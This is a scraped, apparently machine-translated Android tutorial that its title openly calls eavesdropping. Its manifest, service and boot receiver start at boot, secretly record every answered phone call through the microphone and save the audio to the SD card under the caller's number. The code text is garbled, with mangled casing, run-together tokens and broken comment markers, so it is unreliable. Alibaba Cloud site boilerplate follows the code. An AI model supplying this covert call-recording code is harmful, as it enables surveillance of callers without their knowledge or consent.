Android enables phone recording (eavesdropping)

Source: Internet
Author: User

Configuration file

<?xml version= "1.0" encoding= "Utf-8"? ><manifest xmlns:android= "Http://schemas.android.com/apk/res/android" Package= "Codefans.app"Android:versioncode= "1"Android:versionname= "1.0" > <uses-sdk android:minsdkversion= "8"/> <!--monitor phone status rights--<uses-permission android: Name= "Android.permission.READ_PHONE_STATE"/> <!--Create and delete files in SDcard permissions--<uses-permission Android:nam E= "Android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!--in SDcard Write data permissions--<uses-permission android:n Ame= "Android.permission.WRITE_EXTERNAL_STORAGE"/> <!--engraved with voice access and <uses-permission android:name= "Andro Id.permission.RECORD_AUDIO "/> <Application Android:icon= "@drawable/ic_launcher"Android:label= "@string/app_name" > <service android:name= ". Phoneservice "></service> <receiver android:name=". Phonebroadcastreceiver "> <intent-filter > <action android:name=" android.intent.action . Boot_completed "/> <!--boot up broadcast--</intent-filter> </receiver> </application > </manifest>
 Public classPhoneserviceextendsservice{@Override Publicibinder onbind (Intent Intent) {//TODO auto-generated Method Stub        return NULL; } @Override Public voidonCreate () {Super. OnCreate (); Telephonymanager Telephonymanager=(Telephonymanager) Getsystemservice (Context.telephony_service); Telephonymanager.listen (NewPhonelistener (), phonestatelistener.listen_call_state);//Register Listener Monitor phone status    }            Private Final classPhonelistenerextendsPhonestatelistener {PrivateString Incomenumber;//Call number        PrivateMediarecorder Mediarecorder; Privatefile file; @Override Public voidOncallstatechanged (intState , String Incomingnumber) {            Try            {                Switch(state) { CaseTelephonymanager.call_state_ringing://Call                     This. Incomenumber =Incomingnumber;  Break;  CaseTelephonymanager.call_state_offhook://pick up the phoneFile =NewFile (Environment.getexternalstoragedirectory (), This. Incomenumber + system.currenttimemillis () + ". 3gp"); Mediarecorder=NewMediarecorder ();   Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC); //get a sound data sourceMediarecorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP);//output as 3GP formatMediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB);   Mediarecorder.setoutputfile (File.getabsolutepath ()); //Output FileMediarecorder.prepare ();//PrepareMediarecorder.start ();  Break;  CaseTelephonymanager.call_state_idle://Hang up the phone                    if(Mediarecorder! =NULL) {mediarecorder.stop ();                        Mediarecorder.release (); Mediarecorder=NULL; }                                         Break; }            }            Catch(IllegalStateException e) {//TODO auto-generated Catch blockE.printstacktrace (); }            Catch(IOException e) {//TODO auto-generated Catch blockE.printstacktrace (); }        }                    }    }
 Public class extends broadcastreceiver{    @Override    publicvoid  onreceive (context context, Intent Intent)    {        new Intent (context, Phoneservice.  Class);        Context.startservice (service);    // Start the service     }}

Android enables phone recording (eavesdropping)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.